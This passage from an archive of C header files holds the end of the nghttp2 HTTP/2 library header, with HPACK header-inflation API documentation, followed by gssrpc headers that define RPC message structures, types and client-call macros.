nonzero and * return value is non-negative. This means the all input values are * processed successfully. Then the application must call * `nghttp2_hd_inflate_end_headers()` to prepare for the next header * block input. * * The caller can feed complete compressed header block. It also can * feed it in several chunks. The caller must set |in_final| to * nonzero if the given input is the last block of the compressed * header. * * This function returns the number of bytes processed if it succeeds, * or one of the following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_HEADER_COMP` * Inflation process has failed. * :enum:`nghttp2_error.NGHTTP2_ERR_BUFFER_ERROR` * The header field name or value is too large. * * Example follows:: * * int inflate_header_block(nghttp2_hd_inflater *hd_inflater, * uint8_t *in, size_t inlen, int final) * { * ssize_t rv; * * for(;;) { * nghttp2_nv nv; * int inflate_flags = 0; * * rv = nghttp2_hd_inflate_hd(hd_inflater, &nv, &inflate_flags, * in, inlen, final); * * if(rv < 0) { * fprintf(stderr, "inflate failed with error code %zd", rv); * return -1; * } * * in += rv; * inlen -= rv; * * if(inflate_flags & NGHTTP2_HD_INFLATE_EMIT) { * fwrite(nv.name, nv.namelen, 1, stderr); * fprintf(stderr, ": "); * fwrite(nv.value, nv.valuelen, 1, stderr); * fprintf(stderr, "\n"); * } * if(inflate_flags & NGHTTP2_HD_INFLATE_FINAL) { * nghttp2_hd_inflate_end_headers(hd_inflater); * break; * } * if((inflate_flags & NGHTTP2_HD_INFLATE_EMIT) == 0 && * inlen == 0) { * break; * } * } * * return 0; * } * */ NGHTTP2_EXTERN ssize_t nghttp2_hd_inflate_hd(nghttp2_hd_inflater *inflater, nghttp2_nv *nv_out, int *inflate_flags, uint8_t *in, size_t inlen, int in_final); #endif /* NGHTTP2_NO_SSIZE_T */ #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use `nghttp2_hd_inflate_hd3()` instead. * * Inflates name/value block stored in |in| with length |inlen|. This * function performs decompression. For each successful emission of * header name/value pair, * :enum:`nghttp2_hd_inflate_flag.NGHTTP2_HD_INFLATE_EMIT` is set in * |*inflate_flags| and name/value pair is assigned to the |nv_out| * and the function returns. The caller must not free the members of * |nv_out|. * * The |nv_out| may include pointers to the memory region in the |in|. * The caller must retain the |in| while the |nv_out| is used. * * The application should call this function repeatedly until the * ``(*inflate_flags) & NGHTTP2_HD_INFLATE_FINAL`` is nonzero and * return value is non-negative. If that happens, all given input * data (|inlen| bytes) are processed successfully. Then the * application must call `nghttp2_hd_inflate_end_headers()` to prepare * for the next header block input. * * In other words, if |in_final| is nonzero, and this function returns * |inlen|, you can assert that * :enum:`nghttp2_hd_inflate_final.NGHTTP2_HD_INFLATE_FINAL` is set in * |*inflate_flags|. * * The caller can feed complete compressed header block. It also can * feed it in several chunks. The caller must set |in_final| to * nonzero if the given input is the last block of the compressed * header. * * This function returns the number of bytes processed if it succeeds, * or one of the following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_HEADER_COMP` * Inflation process has failed. * :enum:`nghttp2_error.NGHTTP2_ERR_BUFFER_ERROR` * The header field name or value is too large. * * Example follows:: * * int inflate_header_block(nghttp2_hd_inflater *hd_inflater, * uint8_t *in, size_t inlen, int final) * { * ssize_t rv; * * for(;;) { * nghttp2_nv nv; * int inflate_flags = 0; * * rv = nghttp2_hd_inflate_hd2(hd_inflater, &nv, &inflate_flags, * in, inlen, final); * * if(rv < 0) { * fprintf(stderr, "inflate failed with error code %zd", rv); * return -1; * } * * in += rv; * inlen -= rv; * * if(inflate_flags & NGHTTP2_HD_INFLATE_EMIT) { * fwrite(nv.name, nv.namelen, 1, stderr); * fprintf(stderr, ": "); * fwrite(nv.value, nv.valuelen, 1, stderr); * fprintf(stderr, "\n"); * } * if(inflate_flags & NGHTTP2_HD_INFLATE_FINAL) { * nghttp2_hd_inflate_end_headers(hd_inflater); * break; * } * if((inflate_flags & NGHTTP2_HD_INFLATE_EMIT) == 0 && * inlen == 0) { * break; * } * } * * return 0; * } * */ NGHTTP2_EXTERN ssize_t nghttp2_hd_inflate_hd2(nghttp2_hd_inflater *inflater, nghttp2_nv *nv_out, int *inflate_flags, const uint8_t *in, size_t inlen, int in_final); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @function * * Inflates name/value block stored in |in| with length |inlen|. This * function performs decompression. For each successful emission of * header name/value pair, * :enum:`nghttp2_hd_inflate_flag.NGHTTP2_HD_INFLATE_EMIT` is set in * |*inflate_flags| and name/value pair is assigned to the |nv_out| * and the function returns. The caller must not free the members of * |nv_out|. * * The |nv_out| may include pointers to the memory region in the |in|. * The caller must retain the |in| while the |nv_out| is used. * * The application should call this function repeatedly until the * ``(*inflate_flags) & NGHTTP2_HD_INFLATE_FINAL`` is nonzero and * return value is non-negative. If that happens, all given input * data (|inlen| bytes) are processed successfully. Then the * application must call `nghttp2_hd_inflate_end_headers()` to prepare * for the next header block input. * * In other words, if |in_final| is nonzero, and this function returns * |inlen|, you can assert that * :enum:`nghttp2_hd_inflate_final.NGHTTP2_HD_INFLATE_FINAL` is set in * |*inflate_flags|. * * The caller can feed complete compressed header block. It also can * feed it in several chunks. The caller must set |in_final| to * nonzero if the given input is the last block of the compressed * header. * * This function returns the number of bytes processed if it succeeds, * or one of the following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_HEADER_COMP` * Inflation process has failed. * :enum:`nghttp2_error.NGHTTP2_ERR_BUFFER_ERROR` * The header field name or value is too large. * * Example follows:: * * int inflate_header_block(nghttp2_hd_inflater *hd_inflater, * uint8_t *in, size_t inlen, int final) * { * nghttp2_ssize rv; * * for(;;) { * nghttp2_nv nv; * int inflate_flags = 0; * * rv = nghttp2_hd_inflate_hd3(hd_inflater, &nv, &inflate_flags, * in, inlen, final); * * if(rv < 0) { * fprintf(stderr, "inflate failed with error code %td", rv); * return -1; * } * * in += rv; * inlen -= rv; * * if(inflate_flags & NGHTTP2_HD_INFLATE_EMIT) { * fwrite(nv.name, nv.namelen, 1, stderr); * fprintf(stderr, ": "); * fwrite(nv.value, nv.valuelen, 1, stderr); * fprintf(stderr, "\n"); * } * if(inflate_flags & NGHTTP2_HD_INFLATE_FINAL) { * nghttp2_hd_inflate_end_headers(hd_inflater); * break; * } * if((inflate_flags & NGHTTP2_HD_INFLATE_EMIT) == 0 && * inlen == 0) { * break; * } * } * * return 0; * } * */ NGHTTP2_EXTERN nghttp2_ssize nghttp2_hd_inflate_hd3( nghttp2_hd_inflater *inflater, nghttp2_nv *nv_out, int *inflate_flags, const uint8_t *in, size_t inlen, int in_final); /** * @function * * Signals the end of decompression for one header block. * * This function returns 0 if it succeeds. Currently this function * always succeeds. */ NGHTTP2_EXTERN int nghttp2_hd_inflate_end_headers(nghttp2_hd_inflater *inflater); /** * @function * * Returns the number of entries that header table of |inflater| * contains. This is the sum of the number of static table and * dynamic table, so the return value is at least 61. */ NGHTTP2_EXTERN size_t nghttp2_hd_inflate_get_num_table_entries(nghttp2_hd_inflater *inflater); /** * @function * * Returns the table entry denoted by |idx| from header table of * |inflater|. The |idx| is 1-based, and idx=1 returns first entry of * static table. idx=62 returns first entry of dynamic table if it * exists. Specifying idx=0 is error, and this function returns NULL. * If |idx| is strictly greater than the number of entries the tables * contain, this function returns NULL. */ NGHTTP2_EXTERN const nghttp2_nv * nghttp2_hd_inflate_get_table_entry(nghttp2_hd_inflater *inflater, size_t idx); /** * @function * * Returns the used dynamic table size, including the overhead 32 * bytes per entry described in RFC 7541. */ NGHTTP2_EXTERN size_t nghttp2_hd_inflate_get_dynamic_table_size(nghttp2_hd_inflater *inflater); /** * @function * * Returns the maximum dynamic table size. */ NGHTTP2_EXTERN size_t nghttp2_hd_inflate_get_max_dynamic_table_size(nghttp2_hd_inflater *inflater); struct nghttp2_stream; /** * @struct * * The structure to represent HTTP/2 stream. The details of this * structure are intentionally hidden from the public API. */ typedef struct nghttp2_stream nghttp2_stream; /** * @function * * Returns pointer to :type:`nghttp2_stream` object denoted by * |stream_id|. If stream was not found, returns NULL. * * Returns imaginary root stream (see * `nghttp2_session_get_root_stream()`) if 0 is given in |stream_id|. * * Unless |stream_id| == 0, the returned pointer is valid until next * call of `nghttp2_session_send()`, `nghttp2_session_mem_send2()`, * `nghttp2_session_recv()`, and `nghttp2_session_mem_recv2()`. */ NGHTTP2_EXTERN nghttp2_stream * nghttp2_session_find_stream(nghttp2_session *session, int32_t stream_id); /** * @enum * * State of stream as described in RFC 7540. */ typedef enum { /** * idle state. */ NGHTTP2_STREAM_STATE_IDLE = 1, /** * open state. */ NGHTTP2_STREAM_STATE_OPEN, /** * reserved (local) state. */ NGHTTP2_STREAM_STATE_RESERVED_LOCAL, /** * reserved (remote) state. */ NGHTTP2_STREAM_STATE_RESERVED_REMOTE, /** * half closed (local) state. */ NGHTTP2_STREAM_STATE_HALF_CLOSED_LOCAL, /** * half closed (remote) state. */ NGHTTP2_STREAM_STATE_HALF_CLOSED_REMOTE, /** * closed state. */ NGHTTP2_STREAM_STATE_CLOSED } nghttp2_stream_proto_state; /** * @function * * Returns state of |stream|. The root stream retrieved by * `nghttp2_session_get_root_stream()` will have stream state * :enum:`nghttp2_stream_proto_state.NGHTTP2_STREAM_STATE_IDLE`. */ NGHTTP2_EXTERN nghttp2_stream_proto_state nghttp2_stream_get_state(nghttp2_stream *stream); /** * @function * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * Returns root of dependency tree, which is imaginary stream with * stream ID 0. The returned pointer is valid until |session| is * freed by `nghttp2_session_del()`. */ NGHTTP2_EXTERN nghttp2_stream * nghttp2_session_get_root_stream(nghttp2_session *session); /** * @function * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * This function always returns NULL. */ NGHTTP2_EXTERN nghttp2_stream * nghttp2_stream_get_parent(nghttp2_stream *stream); NGHTTP2_EXTERN int32_t nghttp2_stream_get_stream_id(nghttp2_stream *stream); /** * @function * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * This function always returns NULL. */ NGHTTP2_EXTERN nghttp2_stream * nghttp2_stream_get_next_sibling(nghttp2_stream *stream); /** * @function * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * This function always returns NULL. */ NGHTTP2_EXTERN nghttp2_stream * nghttp2_stream_get_previous_sibling(nghttp2_stream *stream); /** * @function * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * This function always returns NULL. */ NGHTTP2_EXTERN nghttp2_stream * nghttp2_stream_get_first_child(nghttp2_stream *stream); /** * @function * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * This function always returns :macro:`NGHTTP2_DEFAULT_WEIGHT`. */ NGHTTP2_EXTERN int32_t nghttp2_stream_get_weight(nghttp2_stream *stream); /** * @function * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * This function always returns 0. */ NGHTTP2_EXTERN int32_t nghttp2_stream_get_sum_dependency_weight(nghttp2_stream *stream); /** * @functypedef * * Callback function invoked when the library outputs debug logging. * The function is called with arguments suitable for ``vfprintf(3)`` * * The debug output is only enabled if the library is built with * ``DEBUGBUILD`` macro defined. */ typedef void (*nghttp2_debug_vprintf_callback)(const char *format, va_list args); /** * @function * * Sets a debug output callback called by the library when built with * ``DEBUGBUILD`` macro defined. If this option is not used, debug * log is written into standard error output. * * For builds without ``DEBUGBUILD`` macro defined, this function is * noop. * * Note that building with ``DEBUGBUILD`` may cause significant * performance penalty to libnghttp2 because of extra processing. It * should be used for debugging purpose only. * * .. Warning:: * * Building with ``DEBUGBUILD`` may cause significant performance * penalty to libnghttp2 because of extra processing. It should be * used for debugging purpose only. We write this two times because * this is important. */ NGHTTP2_EXTERN void nghttp2_set_debug_vprintf_callback( nghttp2_debug_vprintf_callback debug_vprintf_callback); #ifdef __cplusplus } #endif #endif /* NGHTTP2_H */ gssrpc/rpc_msg.h 0000644 00000011762 15246445046 0007671 0 ustar 00 /* @(#)rpc_msg.h 2.1 88/07/29 4.0 RPCSRC */ /* * Copyright (c) 2010, Oracle America, Inc. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of the "Oracle America, Inc." nor the names of * its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* @(#)rpc_msg.h 1.7 86/07/16 SMI */ /* * rpc_msg.h * rpc message definition */ #ifndef GSSRPC_RPC_MSG_H #define GSSRPC_RPC_MSG_H GSSRPC__BEGIN_DECLS #define RPC_MSG_VERSION ((uint32_t) 2) #define RPC_SERVICE_PORT ((u_short) 2048) /* * Bottom up definition of an rpc message. * NOTE: call and reply use the same overall stuct but * different parts of unions within it. */ enum msg_type { CALL=0, REPLY=1 }; enum reply_stat { MSG_ACCEPTED=0, MSG_DENIED=1 }; enum accept_stat { SUCCESS=0, PROG_UNAVAIL=1, PROG_MISMATCH=2, PROC_UNAVAIL=3, GARBAGE_ARGS=4, SYSTEM_ERR=5 }; enum reject_stat { RPC_MISMATCH=0, AUTH_ERROR=1 }; /* * Reply part of an rpc exchange */ /* * Reply to an rpc request that was accepted by the server. * Note: there could be an error even though the request was * accepted. */ struct accepted_reply { struct opaque_auth ar_verf; enum accept_stat ar_stat; union { struct { rpcvers_t low; rpcvers_t high; } AR_versions; struct { caddr_t where; xdrproc_t proc; } AR_results; /* and many other null cases */ } ru; #define ar_results ru.AR_results #define ar_vers ru.AR_versions }; /* * Reply to an rpc request that was rejected by the server. */ struct rejected_reply { enum reject_stat rj_stat; union { struct { rpcvers_t low; rpcvers_t high; } RJ_versions; enum auth_stat RJ_why; /* why authentication did not work */ } ru; #define rj_vers ru.RJ_versions #define rj_why ru.RJ_why }; /* * Body of a reply to an rpc request. */ struct reply_body { enum reply_stat rp_stat; union { struct accepted_reply RP_ar; struct rejected_reply RP_dr; } ru; #define rp_acpt ru.RP_ar #define rp_rjct ru.RP_dr }; /* * Body of an rpc request call. */ struct call_body { rpcvers_t cb_rpcvers; /* must be equal to two */ rpcprog_t cb_prog; rpcvers_t cb_vers; rpcproc_t cb_proc; struct opaque_auth cb_cred; struct opaque_auth cb_verf; /* protocol specific - provided by client */ }; /* * The rpc message */ struct rpc_msg { uint32_t rm_xid; enum msg_type rm_direction; union { struct call_body RM_cmb; struct reply_body RM_rmb; } ru; #define rm_call ru.RM_cmb #define rm_reply ru.RM_rmb }; #define acpted_rply ru.RM_rmb.ru.RP_ar #define rjcted_rply ru.RM_rmb.ru.RP_dr /* * XDR routine to handle a rpc message. * xdr_callmsg(xdrs, cmsg) * XDR *xdrs; * struct rpc_msg *cmsg; */ extern bool_t xdr_callmsg(XDR *, struct rpc_msg *); /* * XDR routine to pre-serialize the static part of a rpc message. * xdr_callhdr(xdrs, cmsg) * XDR *xdrs; * struct rpc_msg *cmsg; */ extern bool_t xdr_callhdr(XDR *, struct rpc_msg *); /* * XDR routine to handle a rpc reply. * xdr_replymsg(xdrs, rmsg) * XDR *xdrs; * struct rpc_msg *rmsg; */ extern bool_t xdr_replymsg(XDR *, struct rpc_msg *); /* * Fills in the error part of a reply message. * _seterr_reply(msg, error) * struct rpc_msg *msg; * struct rpc_err *error; */ /* * RENAMED: should be _seterr_reply or __seterr_reply if we can use * reserved namespace. */ extern void gssrpc__seterr_reply(struct rpc_msg *, struct rpc_err *); /* XDR the MSG_ACCEPTED part of a reply message union */ extern bool_t xdr_accepted_reply(XDR *, struct accepted_reply *); /* XDR the MSG_DENIED part of a reply message union */ extern bool_t xdr_rejected_reply(XDR *, struct rejected_reply *); GSSRPC__END_DECLS #endif /* !defined(GSSRPC_RPC_MSG_H) */ gssrpc/rpc.h 0000644 00000006107 15246445046 0007020 0 ustar 00 /* @(#)rpc.h 2.3 88/08/10 4.0 RPCSRC; from 1.9 88/02/08 SMI */ /* * Copyright (c) 2010, Oracle America, Inc. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of the "Oracle America, Inc." nor the names of * its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * rpc.h, Just includes the billions of rpc header files necessary to * do remote procedure calling. */ #ifndef GSSRPC_RPC_H #define GSSRPC_RPC_H #include <gssrpc/types.h> /* some typedefs */ #include <netinet/in.h> /* external data representation interfaces */ #include <gssrpc/xdr.h> /* generic (de)serializer */ /* Client side only authentication */ #include <gssrpc/auth.h> /* generic authenticator (client side) */ /* Client side (mostly) remote procedure call */ #include <gssrpc/clnt.h> /* generic rpc stuff */ /* semi-private protocol headers */ #include <gssrpc/rpc_msg.h> /* protocol for rpc messages */ #include <gssrpc/auth_unix.h> /* protocol for unix style cred */ #include <gssrpc/auth_gss.h> /* RPCSEC_GSS */ /* Server side only remote procedure callee */ #include <gssrpc/svc_auth.h> /* service side authenticator */ #include <gssrpc/svc.h> /* service manager and multiplexer */ /* * get the local host's IP address without consulting * name service library functions */ GSSRPC__BEGIN_DECLS extern int get_myaddress(struct sockaddr_in *); extern int bindresvport(int, struct sockaddr_in *); extern int bindresvport_sa(int, struct sockaddr *); extern int callrpc(char *, rpcprog_t, rpcvers_t, rpcproc_t, xdrproc_t, char *, xdrproc_t , char *); extern int getrpcport(char *, rpcprog_t, rpcvers_t, rpcprot_t); extern int gssrpc__rpc_dtablesize(void); GSSRPC__END_DECLS #endif /* !defined(GSSRPC_RPC_H) */ gssrpc/types.h 0000644 00000007052 15246445046 0007400 0 ustar 00 /* @(#)types.h 2.3 88/08/15 4.0 RPCSRC */ /* * Copyright (c) 2010, Oracle America, Inc. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of the “Oracle America, Inc.” nor the names of * its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* @(#)types.h 1.18 87/07/24 SMI */ /* * Rpc additions to <sys/types.h> */ #ifndef GSSRPC_TYPES_H #define GSSRPC_TYPES_H #include <sys/types.h> #include <sys/select.h> #include <sys/time.h> #include <unistd.h> /* * Try to get MAXHOSTNAMELEN from somewhere. */ #include <sys/param.h> /* #include <netdb.h> */ /* Get htonl(), ntohl(), etc. */ #include <netinet/in.h> #include <stdlib.h> #include <stdint.h> #include <limits.h> #ifndef GSSRPC__BEGIN_DECLS #ifdef __cplusplus #define GSSRPC__BEGIN_DECLS extern "C" { #define GSSRPC__END_DECLS } #else #define GSSRPC__BEGIN_DECLS #define GSSRPC__END_DECLS #endif #endif GSSRPC__BEGIN_DECLS #if defined(CHAR_BIT) && CHAR_BIT != 8 #error "Bytes must be exactly 8 bits." #endif /* Define if we need to fake up some BSD type aliases. */ #ifndef GSSRPC__BSD_TYPEALIASES /* Allow application to override. */ /* #undef GSSRPC__BSD_TYPEALIASES */ #endif #if GSSRPC__BSD_TYPEALIASES typedef unsigned char u_char; typedef unsigned short u_short; typedef unsigned int u_int; typedef unsigned long u_long; #endif typedef uint32_t rpcprog_t; typedef uint32_t rpcvers_t; typedef uint32_t rpcprot_t; typedef uint32_t rpcproc_t; typedef uint32_t rpcport_t; typedef int32_t rpc_inline_t; /* This is for rpc/netdb.h */ #define STRUCT_RPCENT_IN_RPC_NETDB_H #define bool_t int #define enum_t int #ifndef FALSE # define FALSE (0) #endif #ifndef TRUE # define TRUE (1) #endif /* XXX namespace */ #define __dontcare__ -1 #ifndef NULL # define NULL 0 #endif /* * The below should probably be internal-only, but seem to be * traditionally exported in RPC implementations. */ #define mem_alloc(bsize) malloc(bsize) #define mem_free(ptr, bsize) free(ptr) #ifndef INADDR_LOOPBACK #define INADDR_LOOPBACK (uint32_t)0x7F000001 #endif #ifndef MAXHOSTNAMELEN #define MAXHOSTNAMELEN 64 #endif GSSRPC__END_DECLS #include <gssrpc/rename.h> #endif /* !defined(GSSRPC_TYPES_H) */ gssrpc/clnt.h 0000644 00000022664 15246445046 0007202 0 ustar 00 /* @(#)clnt.h 2.1 88/07/29 4.0 RPCSRC; from 1.31 88/02/08 SMI*/ /* * Copyright (c) 2010, Oracle America, Inc. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of the "Oracle America, Inc." nor the names of * its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * clnt.h - Client side remote procedure call interface. */ #ifndef GSSRPC_CLNT_H #define GSSRPC_CLNT_H GSSRPC__BEGIN_DECLS /* * Rpc calls return an enum clnt_stat. This should be looked at more, * since each implementation is required to live with this (implementation * independent) list of errors. */ enum clnt_stat { RPC_SUCCESS=0, /* call succeeded */ /* * local errors */ RPC_CANTENCODEARGS=1, /* can't encode arguments */ RPC_CANTDECODERES=2, /* can't decode results */ RPC_CANTSEND=3, /* failure in sending call */ RPC_CANTRECV=4, /* failure in receiving result */ RPC_TIMEDOUT=5, /* call timed out */ /* * remote errors */ RPC_VERSMISMATCH=6, /* rpc versions not compatible */ RPC_AUTHERROR=7, /* authentication error */ RPC_PROGUNAVAIL=8, /* program not available */ RPC_PROGVERSMISMATCH=9, /* program version mismatched */ RPC_PROCUNAVAIL=10, /* procedure unavailable */ RPC_CANTDECODEARGS=11, /* decode arguments error */ RPC_SYSTEMERROR=12, /* generic "other problem" */ /* * callrpc & clnt_create errors */ RPC_UNKNOWNHOST=13, /* unknown host name */ RPC_UNKNOWNPROTO=17, /* unknown protocol */ /* * _ create errors */ RPC_PMAPFAILURE=14, /* the pmapper failed in its call */ RPC_PROGNOTREGISTERED=15, /* remote program is not registered */ /* * unspecified error */ RPC_FAILED=16 }; /* * Error info. */ struct rpc_err { enum clnt_stat re_status; union { int RE_errno; /* realated system error */ enum auth_stat RE_why; /* why the auth error occurred */ struct { rpcvers_t low; /* lowest verion supported */ rpcvers_t high; /* highest verion supported */ } RE_vers; struct { /* maybe meaningful if RPC_FAILED */ int32_t s1; int32_t s2; } RE_lb; /* life boot & debugging only */ } ru; #define re_errno ru.RE_errno #define re_why ru.RE_why #define re_vers ru.RE_vers #define re_lb ru.RE_lb }; /* * Client rpc handle. * Created by individual implementations, see e.g. rpc_udp.c. * Client is responsible for initializing auth, see e.g. auth_none.c. */ typedef struct CLIENT { AUTH *cl_auth; /* authenticator */ struct clnt_ops { /* call remote procedure */ enum clnt_stat (*cl_call)(struct CLIENT *, rpcproc_t, xdrproc_t, void *, xdrproc_t, void *, struct timeval); /* abort a call */ void (*cl_abort)(struct CLIENT *); /* get specific error code */ void (*cl_geterr)(struct CLIENT *, struct rpc_err *); /* frees results */ bool_t (*cl_freeres)(struct CLIENT *, xdrproc_t, void *); /* destroy this structure */ void (*cl_destroy)(struct CLIENT *); /* the ioctl() of rpc */ /* XXX CITI makes 2nd arg take u_int */ bool_t (*cl_control)(struct CLIENT *, int, void *); } *cl_ops; void *cl_private; /* private stuff */ } CLIENT; /* * client side rpc interface ops * * Parameter types are: * */ /* * enum clnt_stat * CLNT_CALL(rh, proc, xargs, argsp, xres, resp, timeout) * CLIENT *rh; * rpcproc_t proc; * xdrproc_t xargs; * caddr_t argsp; * xdrproc_t xres; * caddr_t resp; * struct timeval timeout; */ #define CLNT_CALL(rh, proc, xargs, argsp, xres, resp, secs) \ ((*(rh)->cl_ops->cl_call)(rh, proc, xargs, argsp, xres, resp, secs)) #define clnt_call(rh, proc, xargs, argsp, xres, resp, secs) \ ((*(rh)->cl_ops->cl_call)(rh, proc, xargs, argsp, xres, resp, secs)) /* * void * CLNT_ABORT(rh); * CLIENT *rh; */ #define CLNT_ABORT(rh) ((*(rh)->cl_ops->cl_abort)(rh)) #define clnt_abort(rh) ((*(rh)->cl_ops->cl_abort)(rh)) /* * struct rpc_err * CLNT_GETERR(rh); * CLIENT *rh; */ #define CLNT_GETERR(rh,errp) ((*(rh)->cl_ops->cl_geterr)(rh, errp)) #define clnt_geterr(rh,errp) ((*(rh)->cl_ops->cl_geterr)(rh, errp)) /* * bool_t * CLNT_FREERES(rh, xres, resp); * CLIENT *rh; * xdrproc_t xres; * caddr_t resp; */ #define CLNT_FREERES(rh,xres,resp) ((*(rh)->cl_ops->cl_freeres)(rh,xres,resp)) #define clnt_freeres(rh,xres,resp) 